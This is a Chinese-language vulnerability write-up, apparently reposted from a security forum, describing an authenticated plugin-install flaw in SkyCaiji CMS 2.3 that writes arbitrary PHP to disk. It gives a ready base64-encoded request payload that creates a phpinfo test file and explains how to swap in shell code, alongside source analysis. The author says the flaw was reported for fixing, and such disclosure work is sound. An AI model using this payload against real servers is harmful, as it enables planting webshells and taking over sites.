蓝天采集器cms后台上传漏洞
2020-04-29 12:06:48 Author: forum.90sec.com(查看原文) 阅读量:465 收藏

版本:2.3

漏洞情况:已提交平台修复

漏洞复现

在登陆后台后,访问/Admin/store/installPlugin,构造数据报发送,如下图:

image

数据包:

plugin=eyJhcHAiOiJ0ZXN0IiwibmFtZSI6InRlc3QiLCJ0eXBlIjoicmVsZWFzZSIsIm1vZHVsZSI6InRlc3QiLCJjb2RlIjoiUEQ5d2FIQWdjR2h3YVc1bWJ5Z3BJRDgrIiwidHBsIjoiZEdWemRBPT0iLCJkZXNjIjoidGVzdCIsInVwdGltZSI6MTAyMjMzMTIzNH0=

该数据包如果执行成功,便会生成Test.php,且内容为:phpinfo();

image

之后便返回数据包如下:

plugin\release\cms\ 生成Test.php,访问该页面:

image

代码分析

在根目录下skycaijiAPP/admin/controller/Store.php下,installPluginAction函数,如下图:

image

获取plugin参数值,对该值进行base64解密,在进行json解密;$plugin[‘code’] 为写入代码,需要对其进行base64解码;然后只要绕过对下面的判断,$plugin[‘app’]$plugin[‘type’] 等不为空。

image

再将plugin的值,依次赋予$newData。当$plguin[‘type’]的值为release,便会执行addCms函数。

addCms函数如下图:

image

$cmsData不为空,$success为true,$code为我们要写入shell,config(‘plugin_path’)值为plugin,也就是最终路径为:plugin/release/cms/当满足这些条件时,便会执行write_dir_file函数,该函数如下:

image

可以看到只要传入$filename(路径)、$data(想写入代码)。

所以plugin参数如下:

$plugin = array("app"=>"test","name"=>"test","type"=>"release","module"=>"test","code"=>"PD9waHAgcGhwaW5mbygpID8+","tpl"=>"dGVzdA==","desc"=>"test","uptime"=>1022331234);

其中code为<?php phpinfo(); ?> 的base64编码,name为文件名,由于ucfirst函数,文件名为Test.php,然后对其json_encode编码,最后再进行base64编码:

plugin=eyJhcHAiOiJ0ZXN0IiwibmFtZSI6InRlc3QiLCJ0eXBlIjoicmVsZWFzZSIsIm1vZHVsZSI6InRlc3QiLCJjb2RlIjoiUEQ5d2FIQWdjR2h3YVc1bWJ5Z3BJRDgrIiwidHBsIjoiZEdWemRBPT0iLCJkZXNjIjoidGVzdCIsInVwdGltZSI6MTAyMjMzMTIzNH0=

文章来源: https://forum.90sec.com/t/topic/997/1
如有侵权请联系:admin#unsafe.sh